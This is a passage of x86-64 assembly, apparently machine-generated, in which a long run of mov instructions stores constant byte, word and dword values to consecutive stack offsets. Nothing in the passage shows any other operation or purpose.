mov word [rsp + 0x2264], ax
mov dword [rsp + 0x93e8], 0x1f8164bd
mov dword [rsp + 0x93ec], 0x2ef613b2
mov dword [rsp + 0x93f0], 0x6e7ce7a0
mov dword [rsp + 0x93f4], 0x52ae264c
mov dword [rsp + 0x93f8], 0xcd5b
mov eax, 0x33d
mov word [rsp + 0x2268], ax
mov byte [rsp + 0x4ea], 0x8f
mov byte [rsp + 0x4eb], 0x4f
mov eax, 0xca7
mov word [rsp + 0x226c], ax
mov dword [rsp + 0x93fc], 0x5f4858aa
mov dword [rsp + 0x9400], 0x6c3f
mov dword [rsp + 0x9404], 0xdc57
mov dword [rsp + 0x9408], 0x5630
mov dword [rsp + 0x940c], 0x2e30
mov dword [rsp + 0x9410], 0x59d2
mov dword [rsp + 0x9414], 0xba23
mov eax, 0xf2
mov word [rsp + 0x2270], ax
mov dword [rsp + 0x9418], 0xee65
mov dword [rsp + 0x941c], 0x17010c30
mov eax, 0x785
mov word [rsp + 0x2274], ax
mov dword [rsp + 0x9420], 0x1eb488b5
mov byte [rsp + 0x4ec], 0x5f
mov dword [rsp + 0x9424], 0x6d902619
mov byte [rsp + 0x4ed], 0x6e
mov eax, 0xcf4
mov word [rsp + 0x2278], ax
mov dword [rsp + 0x9428], 0x306ef4b8
mov dword [rsp + 0x942c], 0x7a848e74
mov dword [rsp + 0x9430], 0x4e65ee8
mov byte [rsp + 0x4ee], 0xaf
mov eax, 0x6ef
mov word [rsp + 0x227c], ax
mov dword [rsp + 0x9434], 0x72944dce
mov dword [rsp + 0x9438], 0xe030
mov byte [rsp + 0x4ef], 0x22
mov dword [rsp + 0x943c], 0xa32e
mov dword [rsp + 0x9440], 0x54b
mov dword [rsp + 0x9444], 0x1d5e2132
mov dword [rsp + 0x9448], 0x45f6aff9
mov dword [rsp + 0x944c], 0x1a0914f8
mov dword [rsp + 0x9450], 0x5c3cf228
mov dword [rsp + 0x9454], 0x5f7226f2
mov dword [rsp + 0x9458], 0x551346e5
mov dword [rsp + 0x945c], 0xb984
mov dword [rsp + 0x9460], 0x421c8d6e
mov dword [rsp + 0x9464], 0x89c1
mov dword [rsp + 0x9468], 0x6af9d4ae
mov dword [rsp + 0x946c], 0x22d9a713
mov dword [rsp + 0x9470], 0x3fda059c
mov byte [rsp + 0x4f0], 0xd5
mov dword [rsp + 0x9474], 0xa702
mov byte [rsp + 0x4f1], 0xec
mov dword [rsp + 0x9478], 0x552c35c9
mov dword [rsp + 0x947c], 0x3f9bce30
mov byte [rsp + 0x4f2], 0xda
mov dword [rsp + 0x9480], 0x6704d7d2
mov dword [rsp + 0x9484], 0x73666899
mov dword [rsp + 0x9488], 0x33fff9d1
mov dword [rsp + 0x948c], 0x43c6acec
mov dword [rsp + 0x9490], 0x40324e1b
mov dword [rsp + 0x9494], 0x36910e49
mov dword [rsp + 0x9498], 0x3450d5d3
mov eax, 0xe35
mov word [rsp + 0x2280], ax
mov eax, 0x207
mov word [rsp + 0x2284], ax
mov eax, 0xd20
mov word [rsp + 0x2288], ax
mov dword [rsp + 0x949c], 0x49cd
mov dword [rsp + 0x94a0], 0xb3b4
mov dword [rsp + 0x94a4], 0xcef6
mov eax, 0x158
mov word [rsp + 0x228c], ax
mov eax, 0xd2e
mov word [rsp + 0x2290], ax
mov dword [rsp + 0x94a8], 0x5e2b
mov dword [rsp + 0x94ac], 0x7029b543
mov dword [rsp + 0x94b0], 0x6910
mov dword [rsp + 0x94b4], 0x652e8ba
mov dword [rsp + 0x94b8], 0x9d76
mov eax, 0xa93
mov word [rsp + 0x2294], ax
mov eax, 0xc77
mov word [rsp + 0x2298], ax
mov eax, 0x190
mov word [rsp + 0x229c], ax
mov eax, 0xee4
mov word [rsp + 0x22a0], ax
mov eax, 0x7ea
mov word [rsp + 0x22a4], ax
mov byte [rsp + 0x4f3], 0x2f
mov dword [rsp + 0x94bc], 0x67e88781
mov byte [rsp + 0x4f4], 0x13
mov dword [rsp + 0x94c0], 0x565e
mov dword [rsp + 0x94c4], 0x7341d651
mov byte [rsp + 0x4f5], 0x6e
mov dword [rsp + 0x94c8], 0xda64
mov dword [rsp + 0x94cc], 0x68bd210c
mov eax, 0x449
mov word [rsp + 0x22a8], ax
mov dword [rsp + 0x94d0], 0x42a9dcba
mov byte [rsp + 0x4f6], 0x78
mov dword [rsp + 0x94d4], 0x151188
mov dword [rsp + 0x94d8], 0x186cd831
mov dword [rsp + 0x94dc], 0x6279d91
mov dword [rsp + 0x94e0], 0x55fc0a3f
mov byte [rsp + 0x4f7], 0x14
mov byte [rsp + 0x4f8], 0xdd
mov eax, 0x115
mov word [rsp + 0x22ac], ax
mov dword [rsp + 0x94e4], 0x5dccdc67
mov dword [rsp + 0x94e8], 0x3265f6a2
mov byte [rsp + 0x4f9], 0x87
mov eax, 0x510
mov word [rsp + 0x22b0], ax
mov dword [rsp + 0x94ec], 0x7e962d5c
mov byte [rsp + 0x4fa], 0x65
mov dword [rsp + 0x94f0], 0x3d47
mov byte [rsp + 0x4fb], 2
mov eax, 0xe84
mov word [rsp + 0x22b4], ax
mov dword [rsp + 0x94f4], 0xf5f
mov dword [rsp + 0x94f8], 0x778e
mov dword [rsp + 0x94fc], 0x780513c6
mov byte [rsp + 0x4fc], 0x5e
mov dword [rsp + 0x9500], 0x7c91edb6
mov dword [rsp + 0x9504], 0x6388
mov dword [rsp + 0x9508], 0x2e267fdc
mov dword [rsp + 0x950c], 0x2b8717c0
mov dword [rsp + 0x9510], 0x6310b7c5
mov dword [rsp + 0x9514], 0x5f84c68f
mov dword [rsp + 0x9518], 0x509d48b5
mov byte [rsp + 0x4fd], 0x70
mov dword [rsp + 0x951c], 0xb90a
mov dword [rsp + 0x9520], 0x5f14
mov byte [rsp + 0x4fe], 0xd
mov dword [rsp + 0x9524], 0x9689
mov dword [rsp + 0x9528], 0x940e6fe
mov byte [rsp + 0x4ff], 0x50
mov eax, 0xbf4
mov word [rsp + 0x22b8], ax
mov dword [rsp + 0x952c], 0x78cd89b5
mov dword [rsp + 0x9530], 0x4537c8e0
mov dword [rsp + 0x9534], 0x44f59e3b
mov byte [rsp + 0x500], 0x68
mov dword [rsp + 0x9538], 0xa85f
mov byte [rsp + 0x501], 0xe
mov byte [rsp + 0x502], 0x6f
mov dword [rsp + 0x953c], 0xbb36
mov eax, 0x61
mov word [rsp + 0x22bc], ax
mov byte [rsp + 0x503], 0x4c
mov eax, 0x3e8
mov word [rsp + 0x22c0], ax
mov dword [rsp + 0x9540], 0x13058dd4
mov byte [rsp + 0x504], 0xcc
mov dword [rsp + 0x9544], 0xdd4a
mov byte [rsp + 0x505], 0x2f
mov dword [rsp + 0x9548], 0x59c3
mov dword [rsp + 0x954c], 0x7a7e
mov dword [rsp + 0x9550], 0x3e53
mov eax, 0x4e9
mov word [rsp + 0x22c4], ax
mov byte [rsp + 0x506], 0x5e
mov eax, 0x1f4
mov word [rsp + 0x22c8], ax
mov eax, 0xbfb
mov word [rsp + 0x22cc], ax
mov dword [rsp + 0x9554], 0x400b620d
mov byte [rsp + 0x507], 0x4a
mov dword [rsp + 0x9558], 0x622d2b83
mov byte [rsp + 0x508], 0x33
mov eax, 0x287
mov word [rsp + 0x22d0], ax
mov dword [rsp + 0x955c], 0x1149e8bd
mov eax, 0x23a
mov word [rsp + 0x22d4], ax
mov dword [rsp + 0x9560], 0xdb20ca6
mov dword [rsp + 0x9564], 0x5de36148
mov byte [rsp + 0x509], 0x87
mov dword [rsp + 0x9568], 0x77b1
mov dword [rsp + 0x956c], 0x5737f46
mov dword [rsp + 0x9570], 0x9960
mov dword [rsp + 0x9574], 0xeb0d
mov byte [rsp + 0x50a], 0x8a
mov dword [rsp + 0x9578], 0x5070
mov dword [rsp + 0x957c], 0x5539c5e8
mov byte [rsp + 0x50b], 0xbc
mov dword [rsp + 0x9580], 0xeab3745
mov dword [rsp + 0x9584], 0x1d2441aa
mov dword [rsp + 0x9588], 0x6f2542a0
mov dword [rsp + 0x958c], 0x3c2371f9
mov dword [rsp + 0x9590], 0x104d1c1f
mov byte [rsp + 0x50c], 0x5f
mov eax, 0xec7
mov word [rsp + 0x22d8], ax
mov eax, 0x5b2
mov word [rsp + 0x22dc], ax
mov dword [rsp + 0x9594], 0xbe13
mov eax, 0xcb4
mov word [rsp + 0x22e0], ax
mov dword [rsp + 0x9598], 0x70ee3739
mov dword [rsp + 0x959c], 0xd679
mov byte [rsp + 0x50d], 0x7b
mov byte [rsp + 0x50e], 0xb1
mov dword [rsp + 0x95a0], 0x1c36c949
mov byte [rsp + 0x50f], 0x23
mov dword [rsp + 0x95a4], 0x95c2
mov byte [rsp + 0x510], 0xe3
mov byte [rsp + 0x511], 0x5f
mov dword [rsp + 0x95a8], 0x6a7b3402
mov dword [rsp + 0x95ac], 0x9412
mov byte [rsp + 0x512], 0xb8
mov dword [rsp + 0x95b0], 0x8052
mov dword [rsp + 0x95b4], 0x3bf2b7a7
mov eax, 0x1a4
mov word [rsp + 0x22e4], ax
mov eax, 0x7e9
mov word [rsp + 0x22e8], ax
mov dword [rsp + 0x95b8], 0x428bd48c
mov dword [rsp + 0x95bc], 0x920a
mov eax, 0x478
mov word [rsp + 0x22ec], ax
mov dword [rsp + 0x95c0], 0x41f2d011
mov dword [rsp + 0x95c4], 0x33f1de51
mov dword [rsp + 0x95c8], 0x36799c6e
mov dword [rsp + 0x95cc], 0xedb8
mov byte [rsp + 0x513], 0xc3
mov dword [rsp + 0x95d0], 0xefda
mov dword [rsp + 0x95d4], 0xa80c
mov byte [rsp + 0x514], 0x65
mov eax, 0x9d9
mov word [rsp + 0x22f0], ax
mov eax, 0x32f
mov word [rsp + 0x22f4], ax
mov byte [rsp + 0x515], 0xb0
mov byte [rsp + 0x516], 0x3d
mov byte [rsp + 0x517], 0xd2
mov byte [rsp + 0x518], 0x22
mov byte [rsp + 0x519], 0x91
mov byte [rsp + 0x51a], 0xfc
mov eax, 0x97a
mov word [rsp + 0x22f8], ax
mov byte [rsp + 0x51b], 0xd5
mov dword [rsp + 0x95d8], 0x6b27394c
mov dword [rsp + 0x95dc], 0x2c7755f
mov dword [rsp + 0x95e0], 0x54300b2d
mov dword [rsp + 0x95e4], 0xfd05
mov dword [rsp + 0x95e8], 0x9c2e
mov byte [rsp + 0x51c], 0xa
mov dword [rsp + 0x95ec], 0x4e93a73f
mov dword [rsp + 0x95f0], 0x4188dd67
mov dword [rsp + 0x95f4], 0xcc29
mov byte [rsp + 0x51d], 0x48
mov eax, 0xde0
mov word [rsp + 0x22fc], ax
mov dword [rsp + 0x95f8], 0x1f3f24de
mov dword [rsp + 0x95fc], 0x73d495e9
mov byte [rsp + 0x51e], 0x39
mov dword [rsp + 0x9600], 0x4bc6c26e
mov dword [rsp + 0x9604], 0x3062836d
mov eax, 0x22b
mov word [rsp + 0x2300], ax
mov dword [rsp + 0x9608], 0xb89f
mov dword [rsp + 0x960c], 0x6adce26c
mov eax, 0xab4
mov word [rsp + 0x2304], ax
mov dword [rsp + 0x9610], 0xd732
mov dword [rsp + 0x9614], 0xb9ae
mov byte [rsp + 0x51f], 0xa0
mov byte [rsp + 0x520], 0x74
mov dword [rsp + 0x9618], 0xeb97
mov byte [rsp + 0x521], 0x81
mov eax, 0x69b
mov word [rsp + 0x2308], ax
mov dword [rsp + 0x961c], 0x2342d131
mov dword [rsp + 0x9620], 0x9411
mov dword [rsp + 0x9624], 0x58ecca24
mov byte [rsp + 0x522], 0x58
mov eax, 0xa7c
mov word [rsp + 0x230c], ax
mov byte [rsp + 0x523], 9
mov byte [rsp + 0x524], 0xdd
mov dword [rsp + 0x9628], 0x4157451e
mov dword [rsp + 0x962c], 0x3d5995fb
mov dword [rsp + 0x9630], 0x1ff6
mov dword [rsp + 0x9634], 0x3e92
mov byte [rsp + 0x525], 0x69
mov dword [rsp + 0x9638], 0x23df4157
mov byte [rsp + 0x526], 0xfa
mov byte [rsp + 0x527], 0xa6
mov dword [rsp + 0x963c], 0x2f2e54b4
mov dword [rsp + 0x9640], 0xde35
mov dword [rsp + 0x9644], 0x12680b19
mov dword [rsp + 0x9648], 0x760d3198
mov dword [rsp + 0x964c], 0x493f
mov dword [rsp + 0x9650], 0x3b2e40c4
mov byte [rsp + 0x528], 5
mov dword [rsp + 0x9654], 0x246c611a
mov byte [rsp + 0x529], 0x4d
mov dword [rsp + 0x9658], 0x319d4b4d
mov dword [rsp + 0x965c], 0xd802
mov byte [rsp + 0x52a], 0xcd
mov dword [rsp + 0x9660], 0xc1b2f0c
mov eax, 0xea8
mov word [rsp + 0x2310], ax
mov eax, 0x61a
mov word [rsp + 0x2314], ax
mov dword [rsp + 0x9664], 0x3228
mov dword [rsp + 0x9668], 0x6ac8771d
mov byte [rsp + 0x52b], 0x21
mov dword [rsp + 0x966c], 0x5f79eb54
mov dword [rsp + 0x9670], 0x6557c956
mov byte [rsp + 0x52c], 0x15
mov dword [rsp + 0x9674], 0xaf23183
mov byte [rsp + 0x52d], 0xc9
mov dword [rsp + 0x9678], 0x93fd
mov dword [rsp + 0x967c], 0xaf14
mov byte [rsp + 0x52e], 0xb7
mov dword [rsp + 0x9680], 0x6614f7dc
mov byte [rsp + 0x52f], 9
mov byte [rsp + 0x530], 0x67
mov eax, 0x857
mov word [rsp + 0x2318], ax
mov dword [rsp + 0x9684], 0x7ece1f2d
mov dword [rsp + 0x9688], 0x3a67e675
mov dword [rsp + 0x968c], 0xd6db
mov dword [rsp + 0x9690], 0xbd65
mov byte [rsp + 0x531], 0x85
mov byte [rsp + 0x532], 0x97
mov eax, 0x19f
mov word [rsp + 0x231c], ax
mov dword [rsp + 0x9694], 0x2fe3
mov eax, 0x6c6
mov word [rsp + 0x2320], ax
mov eax, 0x3ea
mov word [rsp + 0x2324], ax
mov dword [rsp + 0x9698], 0x292a
mov dword [rsp + 0x969c], 0xce76
mov dword [rsp + 0x96a0], 0x3b60926a
mov byte [rsp + 0x533], 0x56
mov dword [rsp + 0x96a4], 0x183c49f7
mov dword [rsp + 0x96a8], 0x4d2a3a81
mov eax, 0xe18
mov word [rsp + 0x2328], ax
mov eax, 0xc89
mov word [rsp + 0x232c], ax
mov byte [rsp + 0x534], 0xf0
mov byte [rsp + 0x535], 0x75
mov dword [rsp + 0x96ac], 0xd7e9
mov byte [rsp + 0x536], 0x45
mov dword [rsp + 0x96b0], 0x8fe7
mov dword [rsp + 0x96b4], 0x34f05a9a
mov dword [rsp + 0x96b8], 0x81f8b89
mov dword [rsp + 0x96bc], 0x32eb
mov eax, 0x785
mov word [rsp + 0x2330], ax
mov dword [rsp + 0x96c0], 0x1398
mov eax, 0xb6
mov word [rsp + 0x2334], ax
mov eax, 0xef1
mov word [rsp + 0x2338], ax
mov eax, 0x2a9
mov word [rsp + 0x233c], ax
mov dword [rsp + 0x96c4], 0x9d6b
mov dword [rsp + 0x96c8], 0xda888f8
mov byte [rsp + 0x537], 0xda
mov dword [rsp + 0x96cc], 0x2e57
mov byte [rsp + 0x538], 0x26
mov dword [rsp + 0x96d0], 0x444469e8
mov dword [rsp + 0x96d4], 0x720a81b6
mov dword [rsp + 0x96d8], 0x4e46630d
mov byte [rsp + 0x539], 0x47
mov dword [rsp + 0x96dc], 0x336b22af
mov byte [rsp + 0x53a], 0x54
mov dword [rsp + 0x96e0], 0x6b42
mov dword [rsp + 0x96e4], 0x6722a0f6
mov dword [rsp + 0x96e8], 0x33f03d45
mov byte [rsp + 0x53b], 9
mov eax, 0x772
mov word [rsp + 0x2340], ax
mov dword [rsp + 0x96ec], 0x759d05aa
mov dword [rsp + 0x96f0], 0x5054
mov dword [rsp + 0x96f4], 0x63641e8e
mov eax, 0x7ea
mov word [rsp + 0x2344], ax
mov byte [rsp + 0x53c], 0x27
mov byte [rsp + 0x53d], 0x62
mov dword [rsp + 0x96f8], 0x73f39a9b
mov eax, 0xf98
mov word [rsp + 0x2348], ax
mov dword [rsp + 0x96fc], 0x4ad642a5
mov byte [rsp + 0x53e], 0x5d
mov dword [rsp + 0x9700], 0x626adfb6
mov eax, 0xcf0
mov word [rsp + 0x234c], ax
mov eax, 0x28c
mov word [rsp + 0x2350], ax
mov eax, 0x454
mov word [rsp + 0x2354], ax
mov dword [rsp + 0x9704], 0xaf49
mov dword [rsp + 0x9708], 0x289eae4f
mov byte [rsp + 0x53f], 0x6e
mov eax, 0xc4c
mov word [rsp + 0x2358], ax
mov byte [rsp + 0x540], 0x91
mov dword [rsp + 0x970c], 0x1bbcc122
mov byte [rsp + 0x541], 0x5f
mov byte [rsp + 0x542], 6
mov byte [rsp + 0x543], 0x3a
mov eax, 0x665
mov word [rsp + 0x235c], ax
mov eax, 0xaeb
mov word [rsp + 0x2360], ax
mov eax, 0xd1f
mov word [rsp + 0x2364], ax
mov byte [rsp + 0x544], 0xf
mov byte [rsp + 0x545], 0
mov dword [rsp + 0x9710], 0x45b4260b
mov eax, 0x229
mov word [rsp + 0x2368], ax
mov dword [rsp + 0x9714], 0x796a134
mov eax, 0x7c4
mov word [rsp + 0x236c], ax
mov dword [rsp + 0x9718], 0xacb9
mov byte [rsp + 0x546], 0xa4
mov eax, 0x3c5
mov word [rsp + 0x2370], ax
mov byte [rsp + 0x547], 0x22
mov byte [rsp + 0x548], 0x47
mov dword [rsp + 0x971c], 0x50f88bfa
mov dword [rsp + 0x9720], 0x7c9e
mov eax, 0x874
mov word [rsp + 0x2374], ax
mov dword [rsp + 0x9724], 0x283b55b2
mov byte [rsp + 0x549], 0x17
mov dword [rsp + 0x9728], 0x1be3430b
mov dword [rsp + 0x972c], 0x3e74d0b8
mov byte [rsp + 0x54a], 0x2c
mov dword [rsp + 0x9730], 0x41e6
mov byte [rsp + 0x54b], 0x3e
mov eax, 0x4c5
mov word [rsp + 0x2378], ax
mov byte [rsp + 0x54c], 0x23
mov dword [rsp + 0x9734], 0x3eb3947a
mov byte [rsp + 0x54d], 0x5b
mov dword [rsp + 0x9738], 0xd947
mov eax, 0x171
mov word [rsp + 0x237c], ax
mov byte [rsp + 0x54e], 0x7e
mov dword [rsp + 0x973c], 0x7f501062
mov dword [rsp + 0x9740], 0x41285310
mov eax, 0x407
mov word [rsp + 0x2380], ax
mov eax, 0x348
mov word [rsp + 0x2384], ax
mov dword [rsp + 0x9744], 0x365c9e51
mov eax, 0xac
mov word [rsp + 0x2388], ax
mov dword [rsp + 0x9748], 0xd754
mov byte [rsp + 0x54f], 0xb7
mov eax, 0x897
mov word [rsp + 0x238c], ax
mov eax, 0x749
mov word [rsp + 0x2390], ax
mov dword [rsp + 0x974c], 0x430
mov dword [rsp + 0x9750], 0x4a0dd152
mov dword [rsp + 0x9754], 0x1c2f89f1
mov byte [rsp + 0x550], 0x4d
mov eax, 0x505
mov word [rsp + 0x2394], ax
mov byte [rsp + 0x551], 0x72
mov dword [rsp + 0x9758], 0x2bc5cb0c
mov byte [rsp + 0x552], 0x88
mov dword [rsp + 0x975c], 0xdf2f8ce
mov eax, 0x327
mov word [rsp + 0x2398], ax
mov byte [rsp + 0x553], 0x92
mov dword [rsp + 0x9760], 0xdfc7
mov byte [rsp + 0x554], 0x4f
mov dword [rsp + 0x9764], 0x28a93a59
mov dword [rsp + 0x9768], 0x359ccc5e
mov dword [rsp + 0x976c], 0x4166
mov dword [rsp + 0x9770], 0x420377bd
mov dword [rsp + 0x9774], 0x9a6c
mov dword [rsp + 0x9778], 0x2d6f35df
mov dword [rsp + 0x977c], 0x26b3b12f
mov dword [rsp + 0x9780], 0x45ffd8fa
mov dword [rsp + 0x9784], 0x5eac5220
mov dword [rsp + 0x9788], 0x43805a9
mov byte [rsp + 0x555], 0xae
mov eax, 0x460
mov word [rsp + 0x239c], ax
mov byte [rsp + 0x556], 0xeb
mov dword [rsp + 0x978c], 0x16b88f27
mov dword [rsp + 0x9790], 0xff56
mov eax, 0x819
mov word [rsp + 0x23a0], ax
mov dword [rsp + 0x9794], 0x27dcff67
mov dword [rsp + 0x9798], 0x5077a484
mov dword [rsp + 0x979c], 0x701a5363
mov byte [rsp + 0x557], 0x46
mov eax, 0xa68
mov word [rsp + 0x23a4], ax
mov byte [rsp + 0x558], 0x49
mov eax, 0x2de
mov word [rsp + 0x23a8], ax
mov eax, 0xb54
mov word [rsp + 0x23ac], ax
mov dword [rsp + 0x97a0], 0x55c55ed1
mov eax, 0x368
mov word [rsp + 0x23b0], ax
mov dword [rsp + 0x97a4], 0x3e84b556
mov byte [rsp + 0x559], 0x3d
mov dword [rsp + 0x97a8], 0x2a248ba8
mov dword [rsp + 0x97ac], 0x6a7b5b7
mov eax, 0xa05
mov word [rsp + 0x23b4], ax
mov dword [rsp + 0x97b0], 0x4444
mov dword [rsp + 0x97b4], 0xc877
mov dword [rsp + 0x97b8], 0x2cfe9279
mov dword [rsp + 0x97bc], 0x8877
mov dword [rsp + 0x97c0], 0x502dda13
mov eax, 0x576
mov word [rsp + 0x23b8], ax
mov eax, 0xa6
mov word [rsp + 0x23bc], ax
mov dword [rsp + 0x97c4], 0x585a741
mov dword [rsp + 0x97c8], 0x2942f59a
mov eax, 0x405
mov word [rsp + 0x23c0], ax
mov dword [rsp + 0x97cc], 0x4295
mov dword [rsp + 0x97d0], 0x344a
mov eax, 0xeb9
mov word [rsp + 0x23c4], ax
mov dword [rsp + 0x97d4], 0x23e04930
mov dword [rsp + 0x97d8], 0x5f54b55f
mov dword [rsp + 0x97dc], 0x5ad686d5
mov byte [rsp + 0x55a], 0x42
mov eax, 0x5e6
mov word [rsp + 0x23c8], ax
mov dword [rsp + 0x97e0], 0x5cceddfd
mov byte [rsp + 0x55b], 0x38
mov dword [rsp + 0x97e4], 0x107bc0c7
mov byte [rsp + 0x55c], 0xc4
mov byte [rsp + 0x55d], 0x56
mov dword [rsp + 0x97e8], 0x274d
mov dword [rsp + 0x97ec], 0x2e04
mov dword [rsp + 0x97f0], 0xb6a7
mov eax, 0x604
mov word [rsp + 0x23cc], ax
mov dword [rsp + 0x97f4], 0x352f41c1
mov dword [rsp + 0x97f8], 0x2be
mov eax, 0x9ad
mov word [rsp + 0x23d0], ax
mov dword [rsp + 0x97fc], 0x3d7a
mov eax, 0x14b
mov word [rsp + 0x23d4], ax
mov dword [rsp + 0x9800], 0x27280125
mov dword [rsp + 0x9804], 0x4a7c25a2
mov dword [rsp + 0x9808], 0x6cc49a46
mov dword [rsp + 0x980c], 0x1d795846
mov dword [rsp + 0x9810], 0x64e57081
mov dword [rsp + 0x9814], 0x41c49121
mov eax, 0x616
mov word [rsp + 0x23d8], ax
mov eax, 0x1b7
mov word [rsp + 0x23dc], ax
mov dword [rsp + 0x9818], 0x52c7
mov dword [rsp + 0x981c], 0x7f10d656
mov eax, 0x64
mov word [rsp + 0x23e0], ax
mov eax, 0x655
mov word [rsp + 0x23e4], ax
mov eax, 0x4b1
mov word [rsp + 0x23e8], ax
mov dword [rsp + 0x9820], 0x7d89b5fb
mov dword [rsp + 0x9824], 0xdbc5
mov byte [rsp + 0x55e], 0x9a
mov dword [rsp + 0x9828], 0xe081
mov byte [rsp + 0x55f], 0xb3
mov eax, 0xd95
mov word [rsp + 0x23ec], ax
mov dword [rsp + 0x982c], 0x14c02965
mov eax, 0x1a4
mov word [rsp + 0x23f0], ax
mov dword [rsp + 0x9830], 0x566fe014
mov byte [rsp + 0x560], 0x16
mov eax, 0x395
mov word [rsp + 0x23f4], ax
mov eax, 0x4c
mov word [rsp + 0x23f8], ax
mov eax, 0xb9d
mov word [rsp + 0x23fc], ax
mov dword [rsp + 0x9834], 0xebc8
mov dword [rsp + 0x9838], 0x875c
mov byte [rsp + 0x561], 0x97
mov eax, 0x161
mov word [rsp + 0x2400], ax
mov eax, 0x99b
mov word [rsp + 0x2404], ax
mov byte [rsp + 0x562], 0xaa
mov dword [rsp + 0x983c], 0xa39d
mov dword [rsp + 0x9840], 0x6eb2
mov dword [rsp + 0x9844], 0x7c1048f3
mov byte [rsp + 0x563], 0x15
mov dword [rsp + 0x9848], 0x28595be1
mov dword [rsp + 0x984c], 0xcaf4
mov dword [rsp + 0x9850], 0x568d
mov dword [rsp + 0x9854], 0x2f33a8b9
mov byte [rsp + 0x564], 0xb6
mov dword [rsp + 0x9858], 0x1b0a8baa
mov dword [rsp + 0x985c], 0x61fa603b
mov dword [rsp + 0x9860], 0x3837d2dd
mov byte [rsp + 0x565], 0x7e
mov dword [rsp + 0x9864], 0xab3a
mov dword [rsp + 0x9868], 0x8f01
mov dword [rsp + 0x986c], 0x43f2
mov byte [rsp + 0x566], 0xb6
mov dword [rsp + 0x9870], 0x30b6e196
mov dword [rsp + 0x9874], 0x5dcbc390
mov eax, 0xda7
mov word [rsp + 0x2408], ax
mov dword [rsp + 0x9878], 0x5b1c2eed
mov dword [rsp + 0x987c], 0xbe46
mov eax, 0xfa0
mov word [rsp + 0x240c], ax
mov dword [rsp + 0x9880], 0xf147
mov byte [rsp + 0x567], 0xa4
mov dword [rsp + 0x9884], 0x49ea5558
mov dword [rsp + 0x9888], 0xce01
mov eax, 0x84c
mov word [rsp + 0x2410], ax
mov eax, 0xf02
mov word [rsp + 0x2414], ax
mov dword [rsp + 0x988c], 0x80ed1c0
mov dword [rsp + 0x9890], 0x533a8468
mov byte [rsp + 0x568], 0x50
mov dword [rsp + 0x9894], 0x220862f5
mov byte [rsp + 0x569], 0x5e
mov eax, 0x815
mov word [rsp + 0x2418], ax
mov eax, 0x4e8
mov word [rsp + 0x241c], ax
mov eax, 0xeb4
mov word [rsp + 0x2420], ax
mov byte [rsp + 0x56a], 0x23
mov byte [rsp + 0x56b], 0x48
mov dword [rsp + 0x9898], 0x7e2ed71f
mov byte [rsp + 0x56c], 0x4f
mov dword [rsp + 0x989c], 0x23453cb4
mov dword [rsp + 0x98a0], 0x522cd611
mov eax, 0xe08
mov word [rsp + 0x2424], ax
mov dword [rsp + 0x98a4], 0xb364
mov dword [rsp + 0x98a8], 0x4997b338
mov dword [rsp + 0x98ac], 0x1324156f
mov dword [rsp + 0x98b0], 0x5dc25059
mov dword [rsp + 0x98b4], 0xbf97
mov dword [rsp + 0x98b8], 0x50af
mov dword [rsp + 0x98bc], 0x52e8a5e9
mov eax, 0xa73
mov word [rsp + 0x2428], ax
mov byte [rsp + 0x56d], 0x2f
mov byte [rsp + 0x56e], 0xdb
mov byte [rsp + 0x56f], 0x1c
mov byte [rsp + 0x570], 0xd0
mov dword [rsp + 0x98c0], 0x1828f894
mov dword [rsp + 0x98c4], 0x56c6377
mov byte [rsp + 0x571], 0x35
mov dword [rsp + 0x98c8], 0xbd70
mov dword [rsp + 0x98cc], 0xbf67
mov dword [rsp + 0x98d0], 0x5628555a
mov dword [rsp + 0x98d4], 0x39cc2463
mov dword [rsp + 0x98d8], 0x88c9f9c
mov dword [rsp + 0x98dc], 0x24e19269
mov byte [rsp + 0x572], 1
mov eax, 0x1b6
mov word [rsp + 0x242c], ax
mov dword [rsp + 0x98e0], 0x15df
mov dword [rsp + 0x98e4], 0x27be08d0
mov dword [rsp + 0x98e8], 0x17dfac38
mov dword [rsp + 0x98ec], 0x81063ed
mov eax, 0x8e2
mov word [rsp + 0x2430], ax
mov dword [rsp + 0x98f0], 0x23da
mov dword [rsp + 0x98f4], 0x9ca
mov dword [rsp + 0x98f8], 0x42d3a49
mov byte [rsp + 0x573], 0xbd
mov dword [rsp + 0x98fc], 0x596b2d50
mov dword [rsp + 0x9900], 0x6076
mov dword [rsp + 0x9904], 0x1fc97afe
mov dword [rsp + 0x9908], 0xaadc
mov dword [rsp + 0x990c], 0x77d20d97
mov eax, 0xdcc
mov word [rsp + 0x2434], ax
mov dword [rsp + 0x9910], 0x71879b53
mov dword [rsp + 0x9914], 0x12f4946f
mov dword [rsp + 0x9918], 0x42c23485
mov dword [rsp + 0x991c], 0x14e197a3
mov eax, 0x2a5
mov word [rsp + 0x2438], ax
mov byte [rsp + 0x574], 0x4d
mov dword [rsp + 0x9920], 0x50fff661
mov eax, 0xe0a
mov word [rsp + 0x243c], ax
mov eax, 0x509
mov word [rsp + 0x2440], ax
mov dword [rsp + 0x9924], 0x4749285b
mov dword [rsp + 0x9928], 0x24f74271
mov byte [rsp + 0x575], 0x42
mov dword [rsp + 0x992c], 0x6f289e0b
mov eax, 0x503
mov word [rsp + 0x2444], ax
mov byte [rsp + 0x576], 0xd
mov dword [rsp + 0x9930], 0x1416f465
mov dword [rsp + 0x9934], 0x5c372d9c
mov dword [rsp + 0x9938], 0x6156
mov dword [rsp + 0x993c], 0x17f8fd19
mov dword [rsp + 0x9940], 0x10c8a57
mov byte [rsp + 0x577], 0xce
mov dword [rsp + 0x9944], 0x2960
mov dword [rsp + 0x9948], 0x440a5fc3
mov dword [rsp + 0x994c], 0x6ee675f8
mov dword [rsp + 0x9950], 0x52bd2555
mov dword [rsp + 0x9954], 0x2942ecc
mov byte [rsp + 0x578], 0x48
mov eax, 0x47e
mov word [rsp + 0x2448], ax
mov dword [rsp + 0x9958], 0x1f1f3a95
mov dword [rsp + 0x995c], 0x10960359
mov dword [rsp + 0x9960], 0xd94e
mov dword [rsp + 0x9964], 0x3033
mov byte [rsp + 0x579], 0x6b
mov dword [rsp + 0x9968], 0x12c3068f
mov dword [rsp + 0x996c], 0x7c7f
mov eax, 0x665
mov word [rsp + 0x244c], ax
mov byte [rsp + 0x57a], 0x31
mov dword [rsp + 0x9970], 0x7f974f87
mov byte [rsp + 0x57b], 0xf9
mov dword [rsp + 0x9974], 0x3d6d
mov byte [rsp + 0x57c], 0xb7
mov dword [rsp + 0x9978], 0x7103
mov eax, 0x274
mov word [rsp + 0x2450], ax
mov eax, 0xa1b
mov word [rsp + 0x2454], ax
mov dword [rsp + 0x997c], 0xeed4
mov dword [rsp + 0x9980], 0x42a52d3f
mov eax, 0xfd
